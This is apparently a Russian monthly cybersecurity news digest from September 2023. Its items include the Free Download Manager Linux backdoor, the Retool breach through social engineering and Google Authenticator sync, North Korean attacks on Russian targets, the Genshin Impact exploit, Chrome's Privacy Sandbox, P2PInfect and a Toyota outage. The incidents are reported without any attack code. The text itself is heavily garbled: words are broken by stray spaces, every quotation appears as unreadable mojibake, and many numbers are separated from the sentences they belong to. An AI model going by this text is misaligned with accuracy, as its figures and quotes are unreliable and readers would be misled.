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В этом месяце: Free Download Manager для Linux содер жал
бэк дор, Китай обви нил США во взло ме Huawei, Google кри- 
тику ют из-за уяз вимос ти в биб лиоте ке libwebp, сот рудник
Microsoft слу чай но слил в сеть 38 Тбайт дан ных, исто рию
Chrome будут исполь зовать в рек ламных целях, раз работ- 
чики Genshin Impact приг розили баго юзе рам судом и дру гие
инте рес ные события сен тября.

В FREE DOWNLOAD
MANAGER НАШЛИ
БЭКДОР

Ана лити ки «Лабора тории Кас пер ско го» обна ружи ли, что вре донос ная кам- 
пания с исполь зовани ем Free Download Manager дли лась боль ше трех лет.
В ходе атак легитим ное ПО для уста нов ки при ложе ний исполь зовалось
для рас простра нения бэк дора на устрой ства под управле нием Linux. Ата ки
были зафик сирова ны в Бра зилии, Китае, Саудов ской Ара вии и Рос сии.

Как пра вило, жер твы заража лись при попыт ке заг рузить софт с офи циаль- 
ного сай та Free Download Manager (freedownloadmanager[.]org), то есть про- 
изош ла ата ка на цепоч ку пос тавок.

Ес ли жер тва откры вала сайт Free Download Manager, а затем нажима ла
кноп ку заг рузки прог раммы для Linux, то в некото рых слу чаях ее перенап- 
равля ло на вре донос ный URL-адрес, с которо го ска чива лась вре донос ная
вер сия ПО, выпущен ная в 2020 году.

Пос ле запус ка фай ла на устрой стве жер твы уста нав ливал ся бэк дор — раз- 
новид ность тро яна для уда лен ного дос тупа. С заражен ного устрой ства зло- 
умыш ленни ки мог ли похищать раз личную информа цию, в том чис ле све дения
о сис теме, исто рию бра узе ра, сох ранен ные пароли, дан ные крип товалют ных
кошель ков и даже учет ные дан ные облачных сер висов, таких как Amazon Web
Services или Google Cloud.

При этом отме чает ся, что некото рые образцы мал вари, исполь зован ной
в этой кам пании, впер вые были выяв лены еще в 2013 году, а вре донос пред- 
став ляет собой модифи циро ван ную вер сию бэк дора Bew. Этот вре донос
не раз под вергал ся ана лизу: одно из пер вых его опи саний было 

 еще в 2014 году.
опуб ликова- 

но
При иссле дова нии руководств по уста нов ке Free Download Manager

на YouTube для компь юте ров Linux были обна руже ны слу чаи, ког да соз датели
видео неп редна мерен но демонс три рова ли началь ный про цесс зараже ния,
хотя в дру гих видео заг ружалась легитим ная вер сия ПО. Из это го экспер ты
сде лали вывод, что раз работ чики мал вари пре дус мотре ли, что жер тва
перенап равля лась на вре донос ную вер сию ПО «с опре делен ной сте пенью
веро ятности или на осно ве циф рового сле да потен циаль ной жер твы».
В резуль тате некото рые поль зовате ли стал кивались с мал варью, а дру гие
получа ли легитим ный софт.

«

»

«Ðàñ ïðîñòðà íåíî çàá ëóæäå íèå, ÷òî äëÿ Linux íå ñóùåñ òâó åò âðå äîíîñ- 
íîãî ÏÎ, ïîýòî ìó ìíî ãèå ïîëü çîâàòå ëè íå óñòà íàâ ëèâà þò íà òàêèå
óñòðîé ñòâà çàùèò íûå ðåøåíèÿ. Îäíà êî îòñóòñ òâèå ñðåäñòâ îáåñ- 
ïå÷åíèÿ êèáåð áåçîïàñ íîñòè êàê ðàç äåëà åò èõ áîëåå ïðèâ ëåêàòåëü- 
íûìè äëÿ çëî óìûø ëåííè êîâ. Ñèòó àöèÿ ñ Free Download Manager
äåìîíñ òðè ðóåò, ÷òî êèáåðà òàêè íà Linux ìîãóò äîë ãî îñòà âàòü ñÿ íåîá- 
íàðóæåí íûìè. ×òî áû ýòî ãî èçáå æàòü, íóæ íî îáÿ çàòåëü íî çàáîòèòü ñÿ
îá ýôôåêòèâ íûõ ìåðàõ áåçîïàñ íîñòè äëÿ êîìïü þòå ðîâ è ñåð âåðîâ,
ðàáîòà þùèõ íà ýòîé îïå ðàöè îííîé ñèñ òåìå», — îáú ÿñíÿ åò Ëåîíèä
Áåç âåðøåí êî, ýêñïåðò ïî êèáåð áåçîïàñ íîñòè «Ëàáîðà òîðèè Êàñ ïåð- 
ñêî ãî».

Вско ре пос ле выхода отче та экспер тов раз работ чики Free Download Manager
под твер дили, что теория иссле дова телей вер на, — про изош ла ата ка
на цепоч ку пос тавок. Ока залось, что еще в 2020 году «опре делен ная стра- 
ница на сай те была ском про мети рова на укра инской хакер ской груп пой,
которая исполь зовала ее для рас простра нения вре донос ного прог рам мно го
обес печения».

При этом в офи циаль ном заяв лении под черки вает ся, что эти ата ки зат- 
ронули менее 0,1% посети телей сай та, а уяз вимость, которая поз волила зло- 
умыш ленни кам внед рить вре донос ный код на стра ницу заг рузки, была слу- 
чай но устра нена во вре мя пла ново го обновле ния в 2022 году.

NFT НЕ СТОЯТ НИЧЕГО
Ана лити ки dappGambl под счи тали, что в нас тоящее вре мя  нев заимо заме няемых токенов
потеря ли поч ти всю свою цен ность.
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Ис сле дова тели изу чили более  NFT-кол лекций, и ока залось, что цена  из них
на дан ный момент рав няет ся 0 ETH. Такими токена ми сей час вла деют  человек.

73  000 70  000
23 000 000

Обес ценилось все, вклю чая популяр ные рань ше кол лекции. Так, из  неког да луч ших кол- 
лекций  теперь не сто ят ничего, а еще  оце нива ются в  за токен.
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Лишь  NFT сей час сто ят дороже  дол ларов, и зачас тую это на поряд ки мень ше, чем
нес коль ко лет назад.
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GOOGLE
AUTHENTICATOR
ПОМОГ ХАКЕРАМ

Учет ные записи 27 облачных кли ентов ком пании Retool были ском про мети- 
рова ны в резуль тате тар гетиро ван ной и мно гоэтап ной ата ки с исполь зовани- 
ем соци аль ной инже нерии. При этом в ком пании заяви ли, что мно гофак- 
торная аутен тифика ция через Google Authenticator толь ко ухуд шила ситу ацию.

Плат форма Retool пред назна чена для соз дания биз нес-ПО и исполь зует- 
ся раз личны ми ком пани ями, от стар тапов до пред при ятий из спис ка Fortune
500 (вклю чая Amazon, Mercedes-Benz, DoorDash, NBC, Stripe и Lyft).

Тех ничес кий руково дитель ком пании Снир Кодеш (Snir Kodesh) рас ска зал,
что все взло ман ные в резуль тате ата ки акка унты при над лежали кли ентам,
работа ющим в крип товалют ной индус трии, а сам инци дент про изо шел
еще 27 августа 2023 года.

Зло умыш ленни ки обош ли мно гочис ленные меры безопас ности, исполь зуя
SMS-фишинг и соци аль ную инже нерию, что бы в ито ге ском про мети ровать
учет ную запись Okta, при над лежащую одно му из сот рудни ков ком пании.
Хакеры исполь зовали фишинг и URL-адрес, похожий на внут ренний адрес
пор тала иден тифика ции Retool, который был запущен ранее, в ходе перено са
логинов в Okta.

Хо тя боль шинс тво сот рудни ков про игно риро вали фишин говое пос лание
хакеров, один из них все же клик нул по фишин говой ссыл ке, яко бы при шед- 
шей от чле на ИТ-коман ды ком пании, а ссыл ка вела на фей ковый пор тал вхо да
с мно гофак торной аутен тифика цией (МФА).

Пос ле это го зло умыш ленник под делал голос сот рудни ка ИТ-отде ла ком- 
пании с помощью ней росети и поз вонил сот рудни ку Retool, который клю нул
на фишин говую при ман ку. Хакер обма ном вынудил жер тву пре дос тавить
допол нитель ный код МФА, который поз волил добавить кон тро лиру емое зло- 
умыш ленни ками устрой ство к учет ной записи Okta целево го работ ника.
С это го момен та зло умыш ленни ки получи ли воз можность соз давать собс- 
твен ные коды для МФА в Okta. При этом отме чает ся, что зво нив ший хорошо
под готовил ся и был зна ком с «пла ниров кой офи са, кол легами и внут ренни ми
про цес сами ком пании».

В ито ге пред ста вите ли Retool объ ясни ли успех этой ата ки 
в Google Authenticator, которая поз воля ет поль зовате лям син хро низи ровать
свои коды двух фактор ной аутен тифика ции с учет ной записью Google.

но вой фун кци ей

Яко бы имен но из-за этой фун кци ональ нос ти августов ский взлом получил- 
ся нас толь ко серь езным. Дело в том, что зло умыш ленник, успешно взло мав- 
ший учет ную запись Google одно го из сот рудни ков, получил дос туп ко всем
кодам 2ФА для внут ренних сер висов.

«

»

«Ñ ïîìîùüþ ýòèõ êîäîâ (è ñåàí ñà Okta) çëî óìûø ëåííèê ïîëó÷èë äîñ- 
òóï ê íàøåìó VPN è, ÷òî åùå âàæ íåå, ê íàøèì âíóò ðåííèì ñèñ òåìàì
àäìè íèñ òðè ðîâà íèÿ, — çàÿâèë Êîäåø. — Ýòî ïîç âîëèëî åìó ïðî âåñ òè
àòà êó ïî çàõ âàòó ó÷åò íûõ çàïèñåé îïðå äåëåí íîãî êðó ãà êëè åíòîâ (âñå
îíè ðàáîòà þò â êðèï òîâàëþò íîé èíäóñ òðèè), èçìå íèòü ýëåê òðîí íóþ
ïî÷ òó ïîëü çîâàòå ëåé è ñáðî ñèòü ïàðîëè. Ïîñ ëå çàõ âàòà ó÷åò íûõ
çàïèñåé çëî óìûø ëåííèê ïîêîïàë ñÿ â íåêîòî ðûõ ïðè ëîæå íèÿõ Retool».

Ко деш под чер кнул, что, по мне нию Retool, Google сле дует либо устра нить эти
«тем ные пат терны» в Google Authenticator, который поощ ряет сох ранение
кодов МФА в обла ке, либо пре дос тавить орга низа циям воз можность отклю- 
чать эту фун кци ональ ность.

Здесь нуж но отме тить, что фун кция облачной син хро низа ции в Google
Authenticator необя затель на. Ее мож но деак тивиро вать, выб рав опцию
«Исполь зовать Authenticator без учет ной записи», что при ведет к выходу
из при ложе ния и уда лению син хро низи рован ных кодов 2ФА из учет ной
записи Google.

В ответ на эти обви нения пред ста вите ли Google сооб щили, что рекомен- 
дуют поль зовате лям и ком пани ям перехо дить с уста рев шей мно гофак торной
аутен тифика ции и одно разо вых паролей (OTP) на тех нологию FIDO —
это прос той спо соб пре дот вра тить подоб ные ата ки.

«

»

«Ðèñ êè ôèøèí ãà è ñîöè àëü íîé èíæå íåðèè ïðè èñïîëü çîâàíèè óñòà ðåâ- 
øèõ òåõ íîëîãèé àóòåí òèôèêà öèè (íàï ðèìåð, îñíî âàí íûõ íà OTP) ÿâëÿ- 
þòñÿ ãëàâ íîé ïðè ÷èíîé òîãî, ÷òî îòðàñëü âêëà äûâà åò çíà ÷èòåëü íûå
ñðåäñ òâà â ðàç âèòèå òåõ íîëîãèé íà áàçå FIDO, — ãîâîðÿò â Google. —
Ïîêà ìû ïðî äîë æàåì ðàáîòàòü íàä ýòè ìè èçìå íåíè ÿìè, ìû õîòèì,
÷òî áû ïîëü çîâàòå ëè Google Authenticator çíà ëè, ÷òî ó íèõ åñòü âûáîð:
ñèí õðî íèçè ðîâàòü ñâîè OTP ñ àêêà óíòîì Google èëè õðà íèòü èõ òîëü êî
ëîêàëü íî».

О БЛОКИРОВКЕ YOUTUBE В РОССИИ

За мес титель комите та Гос думы по информа цион ной полити ке, информа цион ным тех нологи ям
и свя зи Антон Горел кин выс казал ся о потен циаль ной бло киров ке YouTube в сво ем Telegram-
канале. По его сло вам, «бло киров ка YouTube при несет боль ше вре да, чем поль зы», одна ко Рос- 
сии в любом слу чае нуж но раз вивать свои аль тер нативы.

→ «YouTube про дол жает оста вать ся враж дебной пло щад кой, осоз нанно наруша-
ющей законо датель ство нашей стра ны, и нет гаран тии, что зав тра она не нач нет
про водить более агрессив ную полити ку по рас простра нению про тивоп равных
роликов. У рос сий ских кон тент-мей керов на YouTube нет будуще го», — пишет
Горел кин.

С этой точ кой зре ния сог ласен пред седатель комите та Гос думы по информа цион ной полити ке
Алек сандр Хин штейн, который так же исклю чил бло киров ку YouTube в Рос сии до появ ления пол- 
ноцен ного ана лога.

→ «На сегод ня адек ватной и пол ноцен ной замены YouTube в рос сий ских ана- 
логах, к сожале нию, пока нет. Клю чевое сло во тут — „пока“», — говорит Хин- 
штейн и отме чает, что YouTube и ком пания Google «занима ет дос таточ но субъ- 
ективную и полити чес ки мотиви рован ную позицию по отно шению к Рос сии».

ХАКЕРЫ КНДР
АТАКУЮТ
РОССИЙСКИЕ
ОРГАНЫ ВЛАСТИ

Ком пания Microsoft заяви ла, что в 2023 году северо корей ские хак груп пы
взло мали нес коль ко рос сий ских объ ектов, свя зан ных с пра витель ством
и обо роной. Как утвер жда ет ком пания, в ском про мети рован ных рос сий ских
сис темах зло умыш ленни ки занима лись сбо ром раз ведыва тель ной информа- 
ции.

«
»

«Â ïîñ ëåäíåå âðå ìÿ íåñ êîëü êî ñåâåðî êîðåé ñêèõ çëî óìûø ëåííè êîâ
àòà êîâà ëè ðîñ ñèé ñêîå ïðà âèòåëü ñòâî è îáî ðîí íóþ ïðî ìûø ëåííîñòü.
Âåðî ÿòíî, ñ öåëüþ ñáî ðà ðàç âåääàí íûõ», — ïèøåò Êëèíò Óîòòñ (Clint
Watts), ãëà âà Microsoft Digital Threat Analysis Center.

Microsoft не рас кры вает под робнос тей об этих ата ках и не пишет, какие имен- 
но рос сий ские орга низа ции были взло маны. Одна ко в отче те ком пании
содер жится информа ция о том, ког да про изош ли некото рые из этих инци ден- 
тов.

Так, по дан ным Microsoft, в мар те текуще го года была взло мана рос сий- 
ская орга низа ция, занима ющаяся аэро кос мичес кими иссле дова ниями, а так- 
же ском про мети рован ряд рос сий ских дип ломати чес ких акка унтов.

«

»

«Â ìàð òå 2023 ãîäà ãðóï ïèðîâ êà Ruby Sleet âçëî ìàëà àýðî êîñ ìè÷åñ- 
êèé èññëå äîâà òåëü ñêèé èíñòè òóò â Ðîñ ñèè. Êðî ìå òîãî, â íà÷àëå ìàð òà
ãðóï ïà Onyx Sleet (PLUTONIUM) ñêîì ïðî ìåòè ðîâà ëà óñòðîé ñòâî, ïðè- 
íàä ëåæàùåå îäíî ìó èç ðîñ ñèé ñêèõ óíè âåð ñèòåòîâ, — ãîâîðèò ñÿ â äîê- 
ëàäå. — Òàê æå â òîì æå ìåñÿöå çëî óìûø ëåííè êè èç Opal Sleet
(OSMIUM) ðàñ ñûëàëè ôèøèí ãîâûå ïèñü ìà íà àêêà óíòû, ïðè íàä- 
ëåæàùèå ðîñ ñèé ñêèì äèï ëîìàòè ÷åñ êèì ïðåä ñòà âèòåëü ñòâàì».

Со обща ется, что кибера таки групп Ruby Sleet (она же CERIUM) и Diamond
Sleet (она же ZINC и Lazarus) рас простра няют ся и на про изво дите лей ору жия
в раз личных стра нах мира, вклю чая Гер манию и Изра иль. С нояб ря 2022 года
по январь 2023 года взло мам под вер глись и обо рон ные пред при ятия в Бра- 
зилии, Ита лии, Нор вегии, Поль ше, Фин ляндии и Чехии.

Обо рон ные пред при ятия в этих стра нах чаще все го ата куют хакеры из КНДР

ФИШИНГА В TELEGRAM СТАЛО В  РАЗ БОЛЬШЕ5

По дан ным Angara Security, в пер вом полуго дии 2023 года было обна руже но в  раз боль ше
фишин говых Telegram-ресур сов, чем годом ранее. Их общее количес тво дос тигло .

5
5000

С этой оцен кой сог ласны и спе циалис ты «Лабора тории Кас пер ско го», по под сче там которых
во вто ром квар тале текуще го года количес тво попыток перехо да рос сий ских поль зовате лей
на фишин говые ресур сы, мимик риру ющие под Telegram, уве личи лось поч ти на  (по срав- 
нению с пер выми тре мя месяца ми 2023 года).

39%

РАЗРАБОТЧИКИ
GENSHIN IMPACT
ПРИГРОЗИЛИ
ИГРОКАМ СУДОМ

Ком пания miHoYo, раз рабаты вающая популяр ную игру Genshin Impact, отре- 
аги рова ла на ситу ацию вок руг мас совых взло мов, которые выз вали нешуточ- 
ную панику сре ди игро ков. Раз работ чики пообе щали, что най дут при час тных
к соз данию так называ емых Кавех-хаков, и приг розили им юри дичес ким
прес ледова нием.

Еще в кон це августа мно гие игро ки Genshin Impact ста ли жаловать ся
на Кавех-хаки, которые серь езно вли яли на их игро вой прог ресс. Дело в том,
что в игро вом пер сонаже Кавех (Kaveh) и его механи ках обна ружи ли баг,
который поз волял уда лять про изволь ные эле мен ты из чужих игро вых миров
в коопе ратив ном режиме, вклю чая важ ные голово лом ки, NPC и бос сов,
с которы ми игро кам необ ходимо вза имо дей ство вать.

В ито ге Кавех-хаки, которые мно гочис ленные трол ли исполь зовали
для атак на игро ков, серь езно пов лияли на игро вой про цесс мно жес тва
людей, затор мозив их про хож дение и выз вав вол нения в огромном игро вом
сооб щес тве Genshin Impact, нас читыва ющем боль ше 60 мил лионов игро ков.

Де ло осложня ло то, что вос ста новить уда лен ные эле мен ты не пред став- 
лялось воз можным, и игро кам совето вали вре мен но воз держать ся от исполь- 
зования коопе ратив ного режима вооб ще.

Как в ито ге сооб щили в X (быв ший Twitter) пред ста вите ли miHoYo, проб- 
лема уже локали зова на, а вла дель цев зат ронутых учет ных записей уве домят
инди виду аль но, через внут рииг ровые сооб щения. По сло вам раз работ чиков,
коопе ратив ный режим зарабо тал нор маль но, одна ко на вос ста нов ление
некото рых эле мен тов и акка унтов пот ребова лось вре мя. В ком пании пообе- 
щали окон чатель но устра нить все проб лемы в будущем обновле нии.

Так же соз датели игры заяви ли, что намере ны подать в суд на людей,
которые раз работа ли, исполь зовали или рас простра няли инс тру мен ты
для экс плу ата ции бага, свя зан ного с Кавехом, обви няя их в наруше нии Terms
of service игры и законо датель ства.

Внут рииг ровые хаки и читы дей стви тель но наруша ют Terms of service,
а если они вклю чают в себя модифи кацию проп риетар ного игро вого кода
и ресур сов, это может рас смат ривать ся и как наруше ние автор ских прав.

Кро ме того, в некото рых юрис дикци ях взлом игро вых сер веров и экс плу- 
ата ция уяз вимос тей могут быть клас сифици рова ны как незакон ная деятель- 
ность в соот ветс твии с мес тны ми закона ми о компь ютер ном мошен ничес тве
и зло упот ребле ниях.

«

»

«Ïðè ìåíå íèå ïëà ãèíîâ äëÿ óäà ëåíèÿ ïðåä ìåòîâ èç îòêðû òîãî ìèðà
äðó ãèõ Ïóòåøåñ òâåí íèêîâ (ïîñ ðåäñ òâîì ìîäèôè êàöèè èãðî âûõ äàí- 
íûõ) ñåðü åçíî ïîâ ëèÿëî íà èõ èãðî âîé ïðî öåññ. ×òî áû îáåñ ïå÷èòü
÷åñ òíóþ èãðó è çàùèòèòü ïðà âà Ïóòåøåñ òâåí íèêîâ, ìû çàá ëîêèðî âàëè
ó÷åò íûå çàïèñè, èñïîëü çóþùèå òàêèå ïëà ãèíû, è ïðè ìåì ïðà âîâûå
ìåðû ïðî òèâ èõ ðàç ðàáîò ÷èêîâ, ïîëü çîâàòå ëåé è ðàñ ïðîñòðà íèòå- 
ëåé», — çàÿâè ëè ïðåä ñòà âèòå ëè miHoYo.

ПОЛЬЗОВАТЕЛИ НЕ ДОВЕРЯЮТ ИИ
Эк спер ты Salesforce, Roy Morgan и Pew Research выяс нили, что у людей появ ляет ся все боль ше
опа сений отно ситель но ком паний, исполь зующих и раз рабаты вающих ИИ.

Оп рос свы ше  пот ребите лей и фирм в  стра нах мира показал, что поч ти  кли ентов
обес поко ены неэтич ным исполь зовани ем ИИ.

14 000 25 3/4

Бо лее  опро шен ных кли ентов не верят, что ком пании уже сей час исполь зуют ИИ этич но.40%

Ес ли в 2022 году свы ше  ком мерчес ких покупа телей и  пот ребите лей были готовы
исполь зовать ИИ для улуч шения качес тва обслу жива ния, то в этом году оба показа теля упа ли:
до  и .

80% 65%

73 51%

Сог ласно дру гому опро су, из  человек поч ти  счи тают, что ИИ «соз дает боль ше проб- 
лем, чем реша ет».

1500 60%

Бо лее того, каж дый пятый учас тник опро са сог ласил ся с тем, что ИИ-тех нологии могут при вес- 
ти к исчезно вению челове чес тва уже к .2043 году

Продолжение статьи →
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https://xakep.ru/2023/04/26/google-authenticator-cloud/
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ИСТОРИЮ CHROME
БУДУТ
ИСПОЛЬЗОВАТЬ
В РЕКЛАМНЫХ ЦЕЛЯХ

Ком пания Google начала раз верты вать свою новую рек ламную плат форму
Privacy Sandbox, осно ван ную на инте ресах поль зовате лей. Таким спо собом
ком пания хочет уйти от исполь зования сто рон них тре кин говых cookie
и перело жить задачу отсле жива ния инте ресов поль зовате ля на сам бра узер
Chrome.

Ожи дает ся, что в бли жай шие месяцы Privacy Sandbox охва тит всех поль- 
зовате лей Chrome. При запус ке бра узе ра люди уви дят пре дуп режде ние
о повышен ной кон фиден циаль нос ти рек ламы в Chrome, где будет крат ко опи- 
сана фун кци ональ ность новой плат формы.

«

»

«Ìû çàïóñ êàåì íîâûå ôóí êöèè äëÿ îáåñ ïå÷åíèÿ êîí ôèäåí öèàëü íîñ òè,
êîòîðûå ïîç âîëÿò âàì âûáèðàòü, êàêóþ ðåê ëàìó âû âèäèòå, — ãëà ñèò
îïî âåùå íèå â Chrome. — Chrome îïðå äåëèò èíòå ðåñó þùèå âàñ òåìû
íà îñíî âå èñòî ðèè áðà óçèí ãà. Êðî ìå òîãî, ïîñåùà åìûå âàìè ñàé òû
ñìî ãóò îïðå äåëÿòü, ÷òî âàì íðà âèò ñÿ. Â äàëü íåéøåì ñàé òû ñìî ãóò
çàï ðàøèâàòü ýòó èíôîðìà öèþ, ÷òî áû ïîêàçû âàòü âàì ïåð ñîíàëè çèðî- 
âàí íóþ ðåê ëàìó. Òàê æå âû ìîæåòå âûáèðàòü, êàêèå òåìû è ñàé òû
áóäóò èñïîëü çîâàòü ñÿ äëÿ ïîêàçà ðåê ëàìû».

Пре дуп режде ние завер шает ся дву мя кноп ками: «Понят но» (Got it) и «Нас- 
трой ки» (Settings), на которые уже жалу ются мно гие поль зовате ли, заяв ляя,
что кноп ки сби вают с тол ку и вво дят в заб лужде ние. Дело в том, что новая
рек ламная плат форма будет вклю чена незави симо от того, какую кноп ку
выберет поль зователь.

Google заяв ляет, что тес тирова ние Privacy Sandbox прод лится
до 2024 года, при этом с пер вого квар тала про изой дет отказ при мер но от 1%
сто рон них cookie-фай лов, а к чет верто му квар талу они дол жны быть пол- 
ностью отклю чены по умол чанию.

По сути, Privacy Sandbox пред став ляет собой новую рек ламную плат- 
форму, соз данную Google яко бы для того, что бы повысить кон фиден циаль- 
ность при отсле жива нии рек ламных инте ресов поль зовате ля.

Идея зак люча ется в том, что бы огра ничить отсле жива ние поль зовате лей,
но при этом пре дос тавить рек ламода телям инс тру мен ты для изме рения
эффектив ности и про чих задач. Так, вмес то исполь зования сто рон них фай лов
cookie, раз меща емых раз личны ми рек ламода теля ми и ком пани ями, Privacy
Sandbox будет локаль но вычис лять инте ресы поль зовате ля непос редс твен но
в бра узе ре (в нас тоящее вре мя эта тех нология исполь зует ся толь ко в Google
Chrome).

Рек ламода тели, исполь зующие Privacy Sandbox, смо гут зап рашивать инте- 
ресы посети телей, что бы показы вать им соот ветс тву ющую рек ламу, а бра- 
узер будет отве чать обез личен ными дан ными, в которых перечис лены лишь
катего рии, которые инте ресу ют поль зовате ля.

Эти инте ресы рас счи тыва ются на осно ве исто рии прос мотров поль- 
зовате ля и раз ных сай тов, свя зан ных с раз личны ми темати чес кими катего- 
риями (нап ример, спорт, комик сы, бодибил динг, катание на конь ках).

Сто ит ска зать, что нес коль ко лет назад, в рам ках отка за от исполь зования
сто рон них тре кин говых cookie, сна чала Google пред ста вила новую плат форму
под наз вани ем Federated Learning of Cohorts (FLoC), которая выз вала бурю
кри тики и негодо вания в индус трии ( , , , , ).1 2 3 4 5

Со вре менем FLoC тран сфор мирова лась в , клю чевую фун кцию
новой , так же приз ванную клас сифици ровать инте ресы поль- 
зовате лей по раз личным темам, осно выва ясь на исто рии прос мотра
веб-стра ниц. Эти инте ресы затем дол жны переда вать ся мар кетоло гам
для показа тар гетиро ван ной рек ламы.

Topics
Privacy Sandbox

Хо тя Google всег да заяв ляла, что Privacy Sandbox пред назна чена
для повыше ния кон фиден циаль нос ти поль зовате лей, спе циалис ты ,

 и  ука зыва ли на мно гочис ленные проб лемы, свя зан ные с этой
тех нологи ей.

Apple
Mozilla WC3 TAG

Так же Privacy Sandbox кри тико вали мно гие дру гие учас тни ки индус трии,
вклю чая раз работ чиков  (которые заяви ли, что «отсле жива ние —
это отсле жива ние, и неваж но, как вы его называ ете») и раз работ чиков бра- 
узе ра  (которые счи тают, что Privacy Sandbox лишь нанесет ущерб кон- 
фиден циаль нос ти и еще боль ше укре пит монопо лию Google в интерне те).

DuckDuckGo

Brave

Те перь в Google уве ряют, что для переда чи дан ных меж ду бра узе ром
и рек ламода теля ми в Privacy Sandbox исполь зуют ся Oblivious HTTP Relays, что
обес печива ет допол нитель ную кон фиден циаль ность поль зовате лей. Под- 
черки вает ся, что это не поз воля ет Google свя зать IP-адре са поль зовате лей
с дан ными об их инте ресах, а так же помога ет уда лять ненуж ные заголов ки
зап росов из любых соеди нений.

От казать ся от исполь зования Privacy Sandbox мож но в нас трой ках Google
Chrome. Для это го нуж но перей ти в Settings → Privacy & security → Ad privacy,
где мож но отклю чить каж дую отдель ную фун кцию.

АКТИВНОСТЬ P2PINFECT ВОЗРОСЛА В  РАЗ600

Спе циалис ты из ком пании Cado Security замети ли, что с августа 2023 года активность чер вя
P2PInfect, который ата кует сер веры Redis, рез ко воз росла и вре донос ное ПО пос тепен но ста- 
новит ся более незамет ной и серь езной угро зой.

Ис сле дова тели говорят о рос те количес тва атак P2PInfect на свои ханипо ты. По сос тоянию
на 24 августа 2023 года за всю исто рию наб людений было обна руже но  таких события.
Но уже 3 сен тября 2023 года количес тво событий уве личи лось , а затем, в пери од
с 12 по 19 сен тября 2023 года, про изо шел круп ный всплеск активнос ти: за непол ную неделю
было замече но  попыток взло ма. То есть бот нет стал в  раз активнее.

4064
в три раза

3619 600

ЗАВОД TOYOTA
ВСТАЛ: КОНЧИЛОСЬ
МЕСТО НА ДИСКЕ

Ком пания Toyota сооб щила, что сбои в работе ее япон ских заводов ока- 
зались выз ваны нех ваткой мес та на сер верах баз дан ных, а не кибера такой.
Из-за это го ком пания была вынуж дена вре мен но оста новить
работу 12 из 14 сво их заводов в Япо нии и 28 сбо роч ных линий.

Пос ледс тви ями это го «неоп ределен ного сис темно го сбоя», про изо шед- 
шего в 20-х чис лах августа и при вед шего к оста нов ке работы заводов, ста ло
сни жение объ емов про изводс тва при мер но на 13 тысяч авто моби лей в день.
В будущем это может негатив но ска зать ся на всем рын ке в целом, так
как Toyota — один из круп ней ших автопро изво дите лей в мире.

В опуб ликован ном офи циаль ном заяв лении пред ста вите ли Toyota объ- 
ясни ли, что сбой про изо шел во вре мя пла ново го обслу жива ния ИТ-сис тем.
Обслу жива ние зак лючалось в упо рядо чива нии дан ных и уда лении фраг менти- 
рован ных дан ных из БД. Одна ко в свя зи с тем, что хра нили ще ока залось
запол нено до отка за, про изош ла ошиб ка, при вед шая к оста нов ке всей сис- 
темы.

Сбой пов лиял непос редс твен но на сис тему заказа про дук ции, в резуль- 
тате чего пла ниро вание и выпол нение про изводс твен ных заданий ста ло
невоз можным.

В Toyota пояс няют, что основные сер веры и резер вные машины ком пании
работа ют в рам ках одной сис темы. В свя зи с этим обе сис темы стол кну лись
со сбо ем одновре мен но, что сде лало невоз можным перек лючение и пов- 
лекло за собой оста нов ку работы заводов:

«
»

«Â õîäå ïðî öåäó ðû îáñëó æèâà íèÿ íàêîï ëåííûå â ÁÄ äàí íûå áûëè
óäà ëåíû è ñèñ òåìàòè çèðî âàíû, íî èç�çà íåõ âàòêè ìåñ òà íà äèñ êå
ïðî èçîø ëà îøèá êà, ÷òî ïðè âåëî ê îñòà íîâ êå ñèñ òåìû. Ïîñ êîëü êó ñåð- 
âåðû ðàáîòà ëè â îäíîé ñèñ òåìå, òîò æå ñáîé çàò ðîíóë è ôóí êöèè
ðåçåð âíî ãî êîïèðî âàíèÿ, è ïåðåê ëþ÷åíèå âûïîë íèòü íå óäà ëîñü».

Ис пра вить проб лему смог ли лишь через нес коль ко дней, ког да ИТ-спе- 
циалис ты Toyota под готови ли сер вер боль шей емкости, спо соб ный при нять
дан ные. Это поз волило вос ста новить фун кци они рова ние сис темы заказа
про дук ции и возоб новить работу пред при ятий.

«
»

«Ìû ïðè íîñèì èçâè íåíèÿ âñåì çàèí òåðåñî âàí íûì ñòî ðîíàì çà ïðè- 
÷èíåí íîå áåñ ïîêîé ñòâî. Ìû õîòåëè áû åùå ðàç ïîä ÷åð êíóòü, ÷òî äàí- 
íûé ñáîé â ðàáîòå ñèñ òåì íå áûë âûç âàí êèáåðà òàêîé», — çàÿâ ëÿþò
â Toyota.

ПАДАЕТ СПРОС НА ПРОГРАММИСТОВ, ЗНАЮЩИХ
ИНОСТРАННЫЕ ЯЗЫКИ
Пред ста вите ли ассо циации «Рус софт» сооб щают, что в Рос сии намети лась тен денция к сни- 
жению спро са на раз работ чиков ПО, вла деющих инос тран ными язы ками. По сло вам экспер тов,
это ста ло следс тви ем того, что в нас тоящее вре мя Рос сия делит весь мир на «дру жес твен ные»
и «нед ружес твен ные» стра ны, а так же дело в пере ориен тации индус трии раз работ ки ПО на рос- 
сий ский рынок.

Ес ли в 2022 году биз несу тре бова лось  прог раммис тов с хорошим зна нием англий ско го,
то теперь этот показа тель сни зил ся до .

3,24%
2,39%

Ук репив шиеся отно шения Рос сии и Китая не уве личи ли спрос на прог раммис тов, зна ющих этот
язык. Наобо рот — спрос на них упал поч ти в два раза, с  до .0,3 0,18%

В слу чае с немец ким язы ком пот ребность в зна ющих его раз работ чиках сок ратилась более чем
вдвое — с  до . Для араб ско го спрос сни зил ся с  до , испан ско го — с 
до .

0,17 0,08% 0,13 0,11% 0,18
0,08%

Единс твен ным исклю чени ем стал фран цуз ский. Зна ющие этот язык прог раммис ты всег да были
не слиш ком вос тре бова ны в Рос сии, и их тре буемая доля в шта те ком паний за год не изме- 
нилась, оставшись на уров не .0,7%

При этом отме чает ся, что рас тет спрос на спе циалис тов по прод вижению со зна нием инос тран- 
ных язы ков. Это каса ется , , а так же сот рудни ков

.
мар кетоло гов ме нед жеров по про дажам

PR-служб

У MICROSOFT УКРАЛИ
КЛЮЧ MSA

Ком пания Microsoft наконец рас ска зала, как китай ские хакеры из груп пиров ки
Storm-0558 смог ли похитить ключ под писи, который затем был исполь зован
для взло ма пра витель ствен ных учрежде ний в США и стра нах Запад ной Евро- 
пы. Ока залось, ключ был получен из ава рий ного дам па Windows (crash dump),
пос ле взло ма кор поратив ной учет ной записи инже нера Microsoft.

О кра же клю ча MSA и ата ке на Exchange Online и Azure Active Directory (AD)
более двух десят ков орга низа ций по все му миру, вклю чая пра витель ствен ные
